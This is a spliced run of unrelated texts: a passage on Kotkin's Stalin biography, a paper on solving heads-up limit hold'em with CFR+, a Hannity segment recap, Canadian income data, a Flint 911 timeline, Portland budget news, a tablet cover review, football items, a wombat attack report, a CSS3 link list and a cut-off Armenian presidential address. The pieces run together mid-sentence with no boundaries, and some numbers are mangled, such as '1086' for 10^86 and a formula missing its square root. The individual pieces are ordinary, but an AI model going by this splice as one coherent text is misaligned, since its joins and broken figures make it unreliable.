people thought he was, or that Stalin turned out to be.” So much for Trotsky. But might things still have turned out differently? The second half of Kotkin’s first volume describes the struggle for succession after Lenin’s death, in 1924. It was deeply intimate: the men Stalin would eventually murder had known him for years, going back to the revolutionary underground. Inside the politburo, at the very top of the Communist hierarchy, the old revolutionaries had arguments that were both heated and personal. At one meeting, Trotsky stood up and accused Stalin of being the “grave digger of the revolution.” Stalin grew red in the face and left, slamming the door. At another meeting, it was Trotsky’s turn to storm out and slam the door, though in this case, Kotkin writes, the door was “a massive metal structure not given to demonstrative slamming. He could only manage to bring it to a close slowly, unwittingly demonstrating his impotence.” A distinguished previous biographer, Robert C. Tucker, once confessed to fantasizing that one of Stalin’s comrades would assassinate the Great Leader: “Sometimes in the quiet of my study I have found myself bursting out to their ghosts: ‘For God’s sake, stab him with a knife, or pick up a heavy object and bash his brains out, the lives you save may include your own!’ ” In the nineteen-twenties, assassination wouldn’t have been necessary; a concerted effort by Stalin’s opponents, especially with Lenin’s testament in their pockets, could easily have unseated him. They were too timid to do it, but also, Kotkin concludes, they just didn’t realize what Stalin would become. They had had some intimations: they knew he could be rude, and they even knew he could be psychologically cruel. During his Siberian exile, he had briefly lived with Yakov (Yashka) Sverdlov, a fellow-Bolshevik and later the titular head of the Soviet government, but the two broke up house because Stalin refused to do the dishes and also because he had acquired a dog and started calling him Yashka. “Of course for Sverdlov that wasn’t pleasant,” Stalin later admitted. “He was Yashka and the dog was Yashka.” More significant was Stalin’s activity during the civil war. When he went to the city of Tsaritsyn (later renamed Stalingrad), on the Southern Front, to try to turn the tide for the Bolsheviks, he immediately caused a mess by fighting with the tsarist-era officers who were saving the Red Army from defeat, and then pursuing (and executing) supposed enemies of the people. And yet Stalin’s fellow-Bolsheviks couldn’t see whom they were dealing with. During the period of collective leadership that followed Lenin’s death, one group allied with Stalin to oust Trotsky; the next allied with Stalin to oust the first group. And so on. There could indeed have been another path for the Bolshevik Revolution: the very naïveté, idealism, and lack of guile demonstrated by so many of the Old Bolsheviks remains a testament to their decency. Kotkin proposes a series of interlocking arguments to explain the Stalinist outcome: the conspiratorial rigidity of Bolshevism; the state’s total domination of life in the absence of private property; the peculiar personality of Stalin; and the pressures of geopolitics. An attempt by very determined people to carry out radical change in a huge country was never going to be without bloodshed. And the worldwide financial crisis and the instability in Europe were going to make for a difficult decade, no matter what. But nothing foreordained the extent of the violence.
Kotkin’s first volume closed in 1928, with Stalin, having consolidated his power, making a rare trip to Siberia to launch what would become his war against the peasants. The second volume, “Stalin: Waiting for Hitler, 1929-1941,” opens in the same place. But something has happened in between. The Stalin of the first volume was reacting to external stimuli, in a more or less reasonable manner. The Stalin of the second volume has lost his mind, and is fully in control. As Kotkin argued in the first volume, the October Revolution was actually two separate revolutions. One was the revolution in the cities, the storming of the Winter Palace, the fight for the Kremlin. The other, wider revolution took place in the countryside. There peasants who had for hundreds of years been subjugated and brutalized by the landed gentry rose up and chased them off their lands. They then reapportioned the land among themselves and got to work farming it. During the civil war, the Bolsheviks had staged periodic raids on the countryside to extract grain for the cities and the war effort—leading, eventually, to an immense famine in 1921 that killed millions—but, in the aftermath of the war, Lenin performed one of his patented strategic reversals and declared a New Economic Policy, or
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chance, which randomly chooses the initial deal). The arrows show the events the acting player can choose from, labeled with their in-game meaning. The leaves are square vertices labeled with the associated utility for player 1 (player 2’s utility is the negation of player 1’s). The states connected by thick gray lines are part of the same information set; that is, player 1 cannot distinguish between the states in each pair because they each represent a different unobserved card being dealt to the opponent. Player 2’s states are also in information sets, containing other states not pictured in this diagram. The classical solution concept for games is a Nash equilibrium, a strategy for each player such that no player can increase his or her expected utility by unilaterally choosing a different strategy. All finite extensive-form games have at least one Nash equilibrium. In zero-sum games, all equilibria have the same expected utilities for the players, and this value is called the game-theoretic value of the game. An ε-Nash equilibrium is a strategy for each player where no player can increase his or her utility by more than ε by choosing a different strategy. By Allis’ categories, a zero-sum game is ultraweakly solved if its game-theoretic value is computed, and weakly solved if a Nash equilibrium strategy is computed. We call a game essentially weakly solved if an ε-Nash equilibrium is computed for a sufficiently small ε to be statistically indistinguishable from zero in a human lifetime of played games. For perfect-information games, solving typically involves a (partial) traversal of the game tree. However, the same techniques cannot apply to imperfect-information settings. We briefly review the advances in solving imperfect-information games, benchmarking the algorithms by their progress in solving increasingly larger synthetic poker games, as summarized in Fig. 2. Fig. 2 Increasing sizes of imperfect-information games solved over time measured in unique information sets (i.e., after symmetries are removed). The shaded regions refer to the technique used to achieve the result; the dashed line shows the result established in this paper. Normal-form linear programming The earliest method for solving an extensive-form game involved converting it into a normal-form game, represented as a matrix of values for every pair of possible deterministic strategies in the original extensive-form game, and then solving it with a linear program (LP). Unfortunately, the number of possible deterministic strategies is exponential in the number of information sets of the game. So, although LPs can handle normal-form games with many thousands of strategies, even just a few dozen decision points makes this method impractical. Kuhn poker, a poker game with three cards, one betting round, and a one-bet maximum having a total of 12 information sets (see Fig. 1), can be solved with this approach. But even Leduc hold’em (27), with six cards, two betting rounds, and a two-bet maximum having a total of 288 information sets, is intractable, having more than 1086 possible deterministic strategies. Sequence-form linear programming Romanovskii (28) and later Koller et al. (29, 30) established the modern era of solving imperfect-information games, introducing the sequence-form representation of a strategy. With this simple change of variables, they showed that the extensive-form game could be solved directly as an LP, without the need for an exponential conversion to normal form. Sequence-form linear programming (SFLP) was the first algorithm to solve imperfect-information extensive-form games with computation time that grows as a polynomial of the size of the game representation. In 2003, Billings et al. (24) applied this technique to poker, solving a set of simplifications of HULHE to build the first competitive poker-playing program. In 2005, Gilpin and Sandholm (31) used the approach along with an automated technique for finding game symmetries to solve Rhode Island hold’em (32), a synthetic poker game with 3.94 × 106 information sets after symmetries are removed. Counterfactual regret minimization In 2006, the Annual Computer Poker Competition was started (25). The competition drove advancements in solving larger and larger games, with multiple techniques and refinements being proposed in the years that followed (33, 34). One of the techniques to emerge, and currently the most widely adopted in the competition, is counterfactual regret minimization (CFR) (35). CFR is an iterative method for approximating a Nash equilibrium of an extensive-form game through the process of repeated self-play between two regret-minimizing algorithms (19, 36). Regret is the loss in utility an algorithm suffers for not having selected the single best deterministic strategy, which can only be known in hindsight. A regret-minimizing algorithm is one that guarantees that its regret grows sublinearly over time, and so eventually achieves the same utility as the best deterministic strategy. The key insight of CFR is that instead of storing and minimizing regret for the exponential number of deterministic strategies, CFR stores and minimizes a modified regret for each information set and subsequent action, which can be used to form an upper bound on the regret for any deterministic strategy. An approximate Nash equilibrium is retrieved by averaging each player’s strategies over all of the iterations, and the approximation improves as the number of iterations increases. The memory needed for the algorithm is linear in the number of information sets, rather than quadratic, which is the case for efficient LP methods (37). Because solving large games is usually bounded by available memory, CFR has resulted in an increase in the size of solved games similar to that of Koller et al.’s advance. Since its introduction in 2007, CFR has been used to solve increasingly complex simplifications of HULHE, reaching as many as 3.8 × 1010 information sets in 2012 (38).
Solving heads-up limit hold’em The full game of HULHE has 3.19 × 1014 information sets. Even after removing game symmetries, it has 1.38 × 1013 information sets (i.e., three orders of magnitude larger than previously solved games). There are two challenges for established CFR variants to handle games at this scale: memory and computation. During computation, CFR must store the resulting solution and the accumulated regret values for each information set. Even with single-precision (4-byte) floating-point numbers, this requires 262 TB of storage. Furthermore, past experience has shown that increasing the number of information sets by three orders of magnitude requires at least three orders of magnitude more computation. To tackle these two challenges, we use two ideas recently proposed by a coauthor of this paper (39). To address the memory challenge, we store the average strategy and accumulated regrets using compression. We use fixed-point arithmetic by first multiplying all values by a scaling factor and truncating them to integers. The resulting integers are then ordered to maximize compression efficiency, with compression ratios around 13-to-1 on the regrets and 28-to-1 on the strategy. Overall, we require less than 11 TB of storage to store the regrets and 6 TB to store the average strategy during the computation, which is distributed across a cluster of computation nodes. This amount is infeasible to store in main memory, and so we store the values on each node’s local disk. Each node is responsible for a set of subgames; that is, portions of the game tree are partitioned on the basis of publicly observed actions and cards such that each information set is associated with one subgame. The regrets and strategy for a subgame are loaded from disk, updated, and saved back to disk, using a streaming compression technique that decompresses and recompresses portions of the subgame as needed. By making the subgames large enough, the update time dominates the total time to process a subgame. With disk pre-caching, the inefficiency incurred by disk storage is approximately 5% of the total time. To address the computation challenge, we use a variant of CFR called CFR+ (19, 39). CFR implementations typically sample only portions of the game tree to update on each iteration. They also use regret matching at each information set, which maintains regrets for each action and chooses among actions with positive regret with probability proportional to that regret. By contrast, CFR+ does exhaustive iterations over the entire game tree and uses a variant of regret matching (regret matching+) where regrets are constrained to be non-negative. Actions that have appeared poor (with less than zero regret for not having been played) will be chosen again immediately after proving useful (rather than waiting many iterations for the regret to become positive). Finally, unlike with CFR, we have empirically observed that the exploitability of the players’ current strategies during the computation regularly approaches zero. Therefore, we can skip the step of computing and storing the average strategy, instead using the players’ current strategies as the CFR+ solution. We have empirically observed CFR+ to require considerably less computation, even when computing the average strategy, than state-of-the-art sampling CFR (40), while also being highly suitable for massive parallelization. Like CFR, CFR+ is an iterative algorithm that computes successive approximations to a Nash equilibrium solution. The quality of the approximation can be measured by its exploitability: the amount less than the game value that the strategy achieves against the worst-case opponent strategy in expectation (19). Computing the exploitability of a strategy involves computing this worst-case value, which traditionally requires a traversal of the entire game tree. This was long thought to be intractable for games the size of HULHE. Recently, it was shown that this calculation could be accelerated by exploiting the imperfect-information structure of the game and regularities in the utilities (41). This is the technique we use to confirm the approximation quality of our resulting strategy. The technique and implementation has been verified on small games and against independent calculations of the exploitability of simple strategies in HULHE. A strategy can be exploitable in expectation and yet, because of chance elements in the game and randomization in the strategy, its worst-case opponent still is not guaranteed to be winning after any finite number of hands. We define a game to be essentially solved if a lifetime of play is unable to statistically differentiate it from being solved at 95% confidence. Imagine someone playing 200 games of poker an hour for 12 hours a day without missing a day for 70 years. Furthermore, imagine that player using the worst-case, maximally exploitive, opponent strategy and never making a mistake. The player’s total winnings, as a sum of many millions of independent outcomes, would be normally distributed. Hence, the observed winnings in this lifetime of poker would be 1.64 standard deviations or more below its expected value (i.e., the strategy’s exploitability) at least 1 time out of 20. Using the standard deviation of a single game of HULHE, which has been reported to be around 5 bb/g (big-blinds per game, where the big-blind is the unit of stakes in HULHE) (42), we arrive at a threshold of (1.64 × 5)/ ≈ 0.00105. Therefore, an approximate solution with an exploitability less than 1 mbb/g (milli-big-blinds per game) cannot be distinguished with high confidence from an exact solution, and indeed has a 1-in-20 chance of winning against its worst-case adversary even after a human lifetime of games. Hence, 1 mbb/g is the threshold for declaring HULHE essentially solved.
The solution Our CFR+ implementation was executed on a cluster of 200 computation nodes each with 24 2.1-GHz AMD cores, 32 GB of RAM, and a 1-TB local disk. We divided the game into 110,565 subgames (partitioned according to preflop betting, flop cards, and flop betting). The subgames were split among 199 worker nodes, with one parent node responsible for the initial portion of the game tree. The worker nodes performed their updates in parallel, passing values back to the parent node for it to perform its update, taking 61 min on average to complete one iteration. The computation was then run for 1579 iterations, taking 68.5 days, and using a total of 900 core-years of computation (43) and 10.9 TB of disk space, including file system overhead from the large number of files. Figure 3 shows the exploitability of the computed strategy with increasing computation. The strategy reaches an exploitability of 0.986 mbb/g, making HULHE essentially weakly solved. Using the separate exploitability values for each position (as the dealer and nondealer), we get exact bounds on the game-theoretic value of the game: between 87.7 and 89.7 mbb/g for the dealer, proving the common wisdom that the dealer holds a substantial advantage in HULHE. Fig. 3 Exploitability of the approximate solution with increasing computation. The exploitability, measured in milli-big-blinds per game (mbb/g), is that of the current strategy measured after each iteration of CFR+. After 1579 iterations or 900 core-years of computation, it reaches an exploitability of 0.986 mbb/g. The final strategy, as a close approximation to a Nash equilibrium, can also answer some fundamental and long-debated questions about game-theoretically optimal play in HULHE. Figure 4 gives a glimpse of the final strategy in two early decisions of the game. Human players have disagreed about whether it may be desirable to “limp” (i.e., call as the very first action rather than raise) with certain hands. Conventional wisdom is that limping forgoes the opportunity to provoke an immediate fold by the opponent, and so raising is preferred. Our solution emphatically agrees (see the absence of blue in Fig. 4A). The strategy limps just 0.06% of the time and with no hand more than 0.5%. In other situations, the strategy gives insights beyond conventional wisdom, indicating areas where humans might improve. The strategy almost never “caps” (i.e., makes the final allowed raise) in the first round as the dealer, whereas some strong human players cap the betting with a wide range of hands. Even when holding the strongest hand—a pair of aces—the strategy caps the betting less than 0.01% of the time, and the hand most likely to cap is a pair of twos, with probability 0.06%. Perhaps more important, the strategy chooses to play (i.e., not fold) a broader range of hands as the nondealer than most human players (see the relatively small amount of red in Fig. 4B). It is also much more likely to re-raise when holding a low-rank pair (such as threes or fours) (44). Fig. 4 Action probabilities in the solution strategy for two early decisions. (A) The action probabilities for the dealer’s first action of the game. (B) The action probabilities for the nondealer’s first action in the event that the dealer raises. Each cell represents one of the possible 169 hands (i.e., two private cards), with the upper right diagonal consisting of cards with the same suit and the lower left diagonal consisting of cards of different suits. The color of the cell represents the action taken: red for fold, blue for call, and green for raise, with mixtures of colors representing a stochastic decision. Although these observations are for only one example of game-theoretically optimal play (different Nash equilibria may play differently), they confirm as well as contradict current human beliefs about equilibria play and illustrate that humans can learn considerably from such large-scale game-theoretic reasoning.
Conclusion What is the ultimate importance of solving poker? The breakthroughs behind our result are general algorithmic advances that make game-theoretic reasoning in large-scale models of any sort more tractable. And, although seemingly playful, game theory has always been envisioned to have serious implications [e.g., its early impact on Cold War politics (45)]. More recently, there has been a surge in game-theoretic applications involving security, including systems being deployed for airport checkpoints, air marshal scheduling, and coast guard patrolling (46). CFR algorithms based on those described above have been used for robust decision-making in settings where there is no apparent adversary, with potential application to medical decision support (47). With real-life decision-making settings almost always involving uncertainty and missing information, algorithmic advances such as those needed to solve poker are the key to future applications. However, we also echo a response attributed to Turing in defense of his own work in games: “It would be disingenuous of us to disguise the fact that the principal motive which prompted the work was the sheer fun of the thing” (48).Watch the latest video at video.foxnews.com
Last night Sean Hannity opened his program railing against “liberal fascism” and attempts on the left to silence every single conservative pro-Trump voice. Tonight he doubled down by going after “media fascism” (a phrase that prominently appeared in his over-the-shoulder graphic).
Hannity again referenced the media reports accusing him of sexually harassing conservative author Debbie Schlussel––something she now describes as not being sexual harassment––and said a cursory Google search would have told journalists all they needed to know about the woman making these accusations.
But he said that this is not just about him, and––embracing a term he has coined in recent weeks to describe the mainstream press––bellowed that it was “no secret that the alt radical destroy Trump propaganda media [is] completely biased,” further complaining that they’re agenda-driven and ideological.
After accusing the press of getting Barack Obama elected and colluding with Hillary Clinton‘s campaign, the Fox News host stated that since they haven’t been able to take down President Donald Trump (and perhaps even see him jailed), they’ve now taken aim at conservatives sympathetic to the president. Pointing out that they hate Fox News and that he’s the target of a smear campaign, Hannity highlighted what he felt was a concerted effort to take him down, referencing the Schlussel story.
“The alt radical destroy Trump media quickly and immediately picked up on all the smears and lies,” Hannity stated. “It spread like wildfire all around the country despite the fact that these allegations were completely false.”
The conservative commentator went on to say that the media is doing this so they can shut down voices on the right.
“This isn’t about me or any individual,” he emphasized. “It is so much bigger. It’s about silencing every single conservative voice in the country.”
Watch the latest video at video.foxnews.com
Hannity would later speak to conservative talk radio host Laura Ingraham, who agreed with most of what he detailed in his monologue, saying we are seeing the “outbreak of liberal fascism.”
Watch the clip above, via Fox News.
[image via screengrab]
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Follow Justin Baragona on Twitter: @justinbaragona
Have a tip we should know? [email protected], the data provide some interesting vignettes of an unequal Canada, and show that the elimination of the long-form Census by the Harper government has not hidden all of our social problems under the rug.
Income data for 2010 from the National Household Survey, released yesterday, are not comparable to Census data from previous years, and may under-represent some low income groups.
Low income as reported by the National Household Survey is based on the LIM measure, meaning that a person lives in a household with less than half of the median or midpoint income of a comparable income. By this measure, 14.9 per cent of all Canadians lived in low income in 2010. Almost one in five (17.7 per cent) of children (under age 15) lived in low income, as did one in three (30.4 per cent) of First Nations persons.
As widely noted, the top 1 per cent are overwhelmingly white and male and mainly drawn from the ranks of senior management and top professionals. Among the 272,600 Canadians in the top 1 per cent could be found just 870 persons with Registered Indian status (0.3 per cent of the group) and 2,070 black persons (0.8 per cent of the group.)
Among the 272,600 Canadians in the top 1 per cent with average incomes of $381,336 could be found 365 exceptionally lucky young people age 15 to 24 with average incomes of $387,286. One suspects that large bequests and trust funds among the very wealthy rather than exceptional talent are at work here.
Superstars
The rise of the top 1 per cent has often been linked to the rise of superstar artists. Not in Canada. Just 1,670 of 436,825 Canadians working in Arts, Entertainment and Recreation were in the top 1 per cent.
Struggling Seniors
Freedom 55 is definitely a memory. Median total income (half had more, half had less) of persons aged 65 to 74 in 2010 was just $24,938. One quarter of income (23.8 per cent) came from employment. Public pensions and other transfers make a huge difference, providing 37.1 per cent of income in this age group.
Too bad tomorrow's seniors will have to wait until age 67 to get their Old Age Security, thanks to the Harper Government. And just 15.8 per cent of income in this age group comes from the Canada Pension Plan, showing just how modest this program is in the context of shrinking employer pension plan coverage.
Youth Left Behind
The great majority of young people want to work at least part-time for part of the year, not least to help pay for those soaring costs of post secondary education. But in 2010, one in three young people (34.1 per cent) had no employment income at all, and the median amount of earnings (half earned more, half earned less) was a modest $9,052. No wonder student debt is on the rise.
Aboriginal Canadians Still at the Bottom of the Ladder
Aboriginal Canadians were much less likely to be working full time on a full year basis in 2010 – just 29.4 per cent of the population aged 15 and over, compared to 35.8 per cent in the general population. Average employment income of Aboriginal Canadians was $32,906, or 27 per cent less than the average of $41,795 for all Canadians.
All in all the data released yesterday underline that income inequality remains one of the key challenges of our time. Cracking this nut is the difference between a decent life and a continuing struggle for millions of our fellow citizens. The good news is that, contrary to the prognostication of various conservative pundits, income inequality is not a law of nature. It is not inevitable. It can be changed through careful and effective public policy. Demanding our governments get a move-on in this regard needs to be a top priority for us all.
Rick Smith is Executive Director of the Broadbent Institute.FLINT, MI - Witnesses calling 911 in the early-morning hours of July 18 grew increasingly concerned that no emergency responders were coming to the scene where a Chevy Impala crashed into a tree.
It took five calls to 911 - and 1 hour and 48 minutes - before Cortez Cheathams' body was discovered slumped over in the front seat of the car.
In all, The Flint Journal obtained eight recordings of 911 correspondence about the crash from the city of Flint through a Freedom of Information Act request. Listen to the first two calls to 911 in the recording posted above the story. You can listen to all eight recordings in order in the video at the bottom of this post.
The tree that a Chevrolet Impala hit on Chevrolet Avenue near Jackson Avenue is shown. Police say the call for the accident was given a lower priority when ambulance officials said they couldn't see anyone in the car. A second paramedic then found a dead man inside the vehicle and police responded.
Police were too busy to respond to the call because of a homicide and critical shooting that occurred before the crash.
Instead, a Mobile Medical Response ambulance was sent to the crash. MMR said in a statement the first driver got out and walked around the crashed car and didn't see Cheathams.
Police then downgraded the call to a less serious "property damage crash" call.
Here is a timeline of the 911 calls and response from emergency responders.
First 911 call comes in: A neighbor hears the crash and looks out her front window at 4:12 a.m., sees a white Chevrolet Impala smashed against a tree and calls Flint 911.
About five minutes later: The woman who first called 911 calls again and says no one has gotten out of the vehicle and it is smoking.
Flint 911 calls Mobile Medical Response dispatcher: The Flint dispatcher asks MMR to respond to the scene because police were busy on other calls that included a homicide and a critical shooting.
Woman calls 911 for a third time: The original caller pleads with the 911 dispatcher that she called more than 25 minutes ago and it's "a matter of life and death."
Second caller told no one is on the way: A woman called 911 in what she said was more than 30 minutes after the crash and asks when help is coming. A dispatcher tells her no one is coming because "officers are tied up on other calls right now."
Flint 911 calls MMR a second time: The Flint dispatcher said he requested MMR to respond to the crash about an hour ago. MMR responds that there was no patient found.
Caller sees someone in crashed car: The third 911 caller says it looks like someone is dead or unconscious and not moving in the car about 5:39 a.m.
Flint dispatchers call MMR a third time: The Saginaw-based ambulance company tell Flint 911 dispatch that no patient was found and Flint requests MMR goes back out to the crash to check again.
Ambulance finds dead man: At about 6 a.m. - one hour and 48 minutes after the initial 911 call came in - MMR reports finding the man dead on the front seat of the vehicle.
Flint police responds: At 6:07 a.m., a Flint officer responds to the crash.
Dominic Adams is a reporter for The Flint Journal. Contact him at [email protected] or 810-241-8803. Follow him on Twitter, Facebook or Google+.Portland Mayor Charlie Hales asked the city's parks, police, fire and other key bureaus Thursday to prepare for possible 5 percent budget cuts heading into the next fiscal year.
In a memo sent to the city's 23 top administrators and other City Hall staffers, Hales said the foundation of Portland's economy remains strong, but the City Council has to find more money to pay for more pressing needs - mainly the affordable-housing and homelessness crises.
"While this is good news for the city as a whole," Hales wrote of the economic outlook, "there are significant areas of concern."
The request comes as the city needs to find at least $10 million for the recently declared housing emergency; a potential cost in the millions of dollars to bring dozens of temporary parks workers into the Laborers Local 483 union; and money to keep 13 firefighter positions.
In short, Portland's record $49 million budget surplus during the current fiscal year is already a distant memory.
Hales is asking the heads of bureaus paid for out of the general fund, over which the City Council has the most discretion, to propose the 5 percent cuts from their fiscal 2017 budgets. Portland's general fund budget is $484.5 million in the current fiscal year.
In the memo, Hales said the Housing Bureau will not have to make cuts. "I will call on every bureau to help us find solutions to the housing crisis," he said.
Hales said the entire city has to make tough choices. "I will look to preserve core public-safety functions so that we can respond to the epidemic of gun-related violence and proactively engage with the community," he said, "and I will continue to ensure that City resources are allocated to programs that have a direct impact on the lives of our citizens and that we focus on maintaining our assets and infrastructure."
Andrew Scott, Portland's City Budget Office director, said the next financial forecast predicting how much money the City Council will have to spend in fiscal 2017 -- which will run from July 1, 2016, to June 30, 2017 -- should be released in December.
Scott said some one-time funds will probably be available, but not a lot of ongoing new money.
-- Andrew Theen
[email protected]
503-294-4026
@cityhallwatch$39 gets you a capable, easy-to-use cover for your Nexus 9
Here we have a quick look at the retail version of the Magic Cover for the Nexus 9 tablet. And fortunately a quick look is all we need to tell you that this is a capable, easy-to-use cover. We've had origami-type covers leave us frustrated in the past, but that fear quickly subsided with the Magic Cover.
One side is polyurethane and is meant to face outward, with the inward-facing side a softer suede-like material. Don't be surprised if you find yourself forgetting which is which though. (Hint: the "nexus HTC" logo goes on the inside.) Magnets keep everything in place when the cover's flat on the front or back of the tablet, though we are a little curious how it holds up to be jostled around inside a gear bag. They're strong, but they're not that strong.On Monday, former Green Bay Packers All-Pro Safety LeRoy Butler made a rather interesting statement about Green Bay's interest in Charles Woodson.
Packers would like Woodson back, after the draft, to make sure they can make a fair offer, 4 teams are also interested, — leroy butler (@leap36) April 8, 2013
Now, far be it for me to call Butler a liar, but there isn't much about his report that makes sense.
At no time since Woodson's release have the Packers expressed any interest in the former Defensive Player of the Year. For proof, one doesn't need to look any farther than A.J. Hawk's contract renegotiation. Like Woodson, the Packers felt Hawk's salary was disproportional to his production. However, Hawk was given the chance to reduce his salary and remain with the team. Woodson was never extended the same opportunity. Furthermore, Packers GM Ted Thompson hasn't exactly been keen on adding old, oft-injured players.
As for Butler's contention that four other teams are vying for Woodson's services, that too seems unlikely. Woodson's only visit since being released was with San Francisco. He left without a contract, and the 49ers subsequently signed Nnamdi Asomugha, effectively ending Woodson's courtship.
All this suggests that Butler might have manufactured the whole report. While he certainly has contacts from both his 12 years in the NFL and his work at the Journal-Sentinel, it's doubtful Butler is privy to the inner workings of Thompson's front office. Most likely, Butler's just trying to help out a friend who's been on the street since February.
That said, if Woodson is still available after the draft he represents a potential value. By that time, any leverage Woodson might have had will be gone. This, combined with Woodson's preference for playing on a contending team, suggests that Green Bay won't have to pony up much cash to reacquire the defensive back. The Packers still need to figure out what they have in second year safety Jerron McMillian, but another year behind Woodson shouldn't impede his development.
Jason Hirschhorn covers the Green Bay Packers for Acme Packing Co. He has previously written for Lombardi Ave, College Hoops Net, LiveBall Sports, and the List Universe. He is currently a senior writer for Beats Per Minute, an indie-music webzine. Follow him on Twitter at twitter.com/JBHirschhorn.The Cleveland Browns were never serious about Robert Griffin III, according to a report this week. As the story goes, they viewed him as "too small" and "eager to show how fast he was."
They forgot about his arm.
RG3 now resides in our nation's capital, the starting quarterback of the Washington Redskins. If his size and need for speed were ever questioned, we have solid evidence the man (and his loyal backup) can deliver the ball.
"Out here grinding," Redskins wideout Leonard Hankerson posted on his Instagram page. "This is what #RG3 and #Kirk (Cousins) did to my glove."
Mike Shanahan has seen this before. A mildly famous former quarterback of his, John Elway, was legendary for the pain he inflicted on his receivers' palms. Elway threw with force, and it helped Shanahan and the Denver Broncos win two Super Bowls.
RG3: Too small, too fast for Cleveland; just right for the quarterback-hungry faithful of Washington, D.C.Wombat mauls bushfire survivor
Updated
A man is recovering in hospital after he was mauled by a wombat at Flowerdale, north-east of Melbourne.
Paramedic Robert Gill said Bruce Kringle, 60, was a survivor of the Black Saturday bushfires and was living in a caravan while he built a new home.
Mr Gill said when the man went to leave the caravan this morning, he found the wombat on his door mat.
"Unfortunately the gentleman stood on the wombat and the wombat proceeded to get rather nasty and attacked him and inflicted some wounds to his lower legs and also to his arms as well," Mr Gill said.
"It took about 20 minutes. He did try to exit the area and get away from the wombat but my belief is that it kept coming at him."
A local resident said the man managed to kill the wombat with an axe.
Mr Gill said other residents had had a run-in with the wombat earlier.
"They were able to exercise caution with him and get rid of him further down the road, but unfortunately the next stop was this gentleman's door mat," he said.
Mr Gill said the man was bitten on the arms and legs and taken to the Northern Hospital in a stable condition.
Mr Kringle's friend, Kelly Smith, said the wombat pulled him to the ground in the attack.
"Apparently it attacked his leg and got him to the ground and started attacking his chest, then Brucey killed the wombat and got taken to hospital in an ambulance," she said.
Jeff McClure from the Department of Sustainability and Environment (DSE) said it was highly unusual for a wombat to attack a person.
"Wombats that are in an advanced stage of mange will become very agitated from the suffering and the irritation of the mange," he said.
He said if wombats are approached or feel threatened they will rush towards someone.
"But it's not known that they will push the attack to where they would physically attack someone."
Topics: animal-attacks, human-interest, animals, flowerdale-3717, vic
First postedThe whole web design community knows that CSS3 can propel your HTML/Website/Content to the next level, but many CSS3 beginners and intermediates don’t know where to find the resources, important tutorials, or cheat sheets they need to learn CSS. To that end, we’ve collected a huge list of CSS3 tutorials, resources, must-see CSS3 discussions, and projects to watch on Github.
CSS3 Resources
[Check out Simplilearn's CSS3 fundamentals training.]
CSS3 Tutorials
Inspiration for CSS3 Beginners
3 stunning CSS animation effects that will captivate your users Click here 8 simple CSS3 transitions that will wow your users Click here 90 Absolutely Free Responsive HTML5 CSS3 Website Templates Click here Animated image with zoom effect and appearing title using only CSS3 Click here 22 stunning examples of CSS3 animation Click here 9 eye-popping images created purely in CSS3 Click here Coding a Responsive Resume in HTML5/CSS3 Click here The Simpsons in CSS Click here
CSS3 Cheatsheets
Tips from CSS3 Experts
10 Principles of the CSS Masters Click here 15 Effective Tips and Tricks from the Masters of CSS Click here CSS3 Tips & Techniques for Designers Click here
CSS3 Videos
Create a Responsive Website Using HTML5 and CSS3 Play CSS3 Flip 3D Animation For Boxes and Cards HTML5 Tutorial Play Let’s Learn HTML5 and CSS3! [FULL 3hrs+] Play CSS3 border-image Property Custom Graphics Slice Tutorial Play Image Zoom Effect Animation CSS3 HTML Tutorial Play Scrolling Activated CSS3 Animation Tutorial Play 3D Flip Animation Effect CSS3 Tutorial Play CSS3 Full Screen Background Image - Dreawmeaver CS6 Tutorial Play CSS3 Tutorial: Create And Style A CSS3 and HTML5 Contact Form Play Awesome CSS3 3D Image Slider. With Flickr Play
CSS3 Blogs and Websites
Lea Verou Web standards Codepen Front end developer Playground Smashingmagazine For Professional web designers and developers Css Tricks Website about websites Codeacademy Learn to code interactively for free Alistpart Quick updates and practical approaches Script-Tutorials Tutorials about CSS3 Liveweave Playground for web designers and developers Enjoycss Online CSS3 Code generator CSS3 Deck Creations and experiments Thecodeplayer Video style tutorials
CSS3 Projects on Github
I am a junior-ish front end developer. What should I learn next? Discussion I saw this GIF and I thought it would be interesting to recreate it using CSS3 Discussion What are your top 3 "Aha!" CSS moments? Discussion CSS color style question Discussion What can you do to improve CSS3 animation performance on desktop and mobile? Discussion What is the best CSS3 tutorial on the Internet? Discussion Is it better to use javascript or CSS3 for animations? Discussion What are the top 5 differences between CSS3 and CSS2? Discussion What are the differences, cons/pros between CSS3 animations and JS animations? Discussion Who are the CSS3 gods to follow these days? Discussion How did Mailchimp create this animation sequence with CSS3? Discussion
There you have it: 92 resources that will undoubtedly answer just about every question you have about CSS3. These resources should bring a change in the way you code and help you transform from beginner to expert. Check out our HTML5 and CSS3 course to get you even further!Today, the President of Armenia Serzh Sargsyan held a meeting at the Presidential palace with the representatives of the different segments of the society: cultural figures, representatives of healthcare, Mass Media, public and political figures, members of the Public Council, as well as with the representatives of legislative and executive bodies, heads of the standing bodies and with the representatives of Armenian clergy headed by the Catholicos of All Armenians. President of Armenia made a statement.
***
Address of the President of Armenia at the meeting with the representatives of the society, authorities and clergy
Your Holiness,
Distinguished Colleagues,
Yesterday, the situation created as a result of the assault by an armed group on the Police station was finally resolved. It was resolved in a way which was probably the most acceptable for all of us: the National Security Service, Police, State Security Service, the Ministry of Internal Affairs through their consistent and
